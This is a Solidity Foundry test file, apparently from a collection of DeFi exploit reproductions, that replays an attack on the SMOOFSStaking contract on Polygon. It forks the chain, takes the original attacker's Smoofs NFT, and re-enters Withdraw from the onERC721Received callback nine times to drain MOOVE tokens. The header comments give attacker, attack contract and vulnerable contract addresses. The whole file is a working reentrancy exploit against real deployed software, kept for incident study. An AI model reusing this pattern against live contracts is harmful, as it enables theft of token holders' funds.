src/test/2024-02/SMOOFSStaking_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : Unclear
8// Attacker : https://polygonscan.com/address/0x149b268b8b8101e2b5df84a601327484cb43221c
9// Attack Contract : https://polygonscan.com/address/0x367120bf791cc03f040e2574aea0ca7790d3d2e5
10// Vuln Contract : https://polygonscan.com/address/0x9d6cb01fb91f8c6616e822cf90a4b3d8eb0569c6
11// One of the attack txs : https://app.blocksec.com/explorer/tx/polygon/0xde51af983193b1be3844934b2937a76c19610ddefcdd3ffcf127db3e68749a50
12 
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1762893563103428783
15 
16 
17interface ISMOOFSStaking {
18    function Stake(
19        uint256 _tokenId
20    ) external;
21 
22    function Withdraw(uint256 _tokenId, bool forceWithTax) external;
23}
24 
25contract ContractTest is Test {
26    ISMOOFSStaking private constant SMOOFSStaking = ISMOOFSStaking(0x757C2d1Ef0942F7a1B9FC1E618Aea3a6F3441A3C);
27    IERC721 private constant Smoofs = IERC721(0x551eC76C9fbb4F705F6b0114d1B79bb154747D38);
28    IERC20 private constant MOOVE = IERC20(0xdb6dAe4B87Be1289715c08385A6Fc1A3D970B09d);
29    address private constant attackContract = 0x367120bf791cC03F040E2574AeA0ca7790D3D2E5;
30    uint256 private constant smoofsTokenId = 2062;
31    uint256 setCount;
32 
33    function setUp() public {
34        vm.createSelectFork("polygon", 54_056_707);
35        vm.label(address(SMOOFSStaking), "SMOOFSStaking");
36        vm.label(address(Smoofs), "Smoofs");
37        vm.label(address(MOOVE), "MOOVE");
38        vm.label(attackContract, "attackContract");
39    }
40 
41    function testExploit() public {
42        // For the purpose of this poc transfer Smoofs NFT token from original attack contract
43        vm.prank(attackContract);
44        Smoofs.transferFrom(attackContract, address(this), smoofsTokenId);
45        Smoofs.approve(address(SMOOFSStaking), smoofsTokenId);
46 
47        // Set initial MOOVE token balance of this contract before attack
48        deal(address(MOOVE), address(this), MOOVE.balanceOf(attackContract));
49        MOOVE.approve(address(SMOOFSStaking), type(uint256).max);
50 
51        emit log_named_decimal_uint(
52            "Attacker MOOVE balance before exploit", MOOVE.balanceOf(address(this)), MOOVE.decimals()
53        );
54        // In my case call to Stake() take some time when I ran POC for the first time.
55        SMOOFSStaking.Stake(smoofsTokenId);
56        SMOOFSStaking.Withdraw(smoofsTokenId, true);
57 
58        emit log_named_decimal_uint(
59            "Attacker MOOVE balance after exploit", MOOVE.balanceOf(address(this)), MOOVE.decimals()
60        );
61    }
62 
63    function onERC721Received(
64        address operator,
65        address from,
66        uint256 tokenId,
67        bytes calldata data
68    ) external returns (bytes4) {
69        while (setCount < 9) {
70            ++setCount;
71            Smoofs.safeTransferFrom(address(this), address(SMOOFSStaking), smoofsTokenId);
72            SMOOFSStaking.Withdraw(smoofsTokenId, true);
73        }
74        return this.onERC721Received.selector;
75    }
76}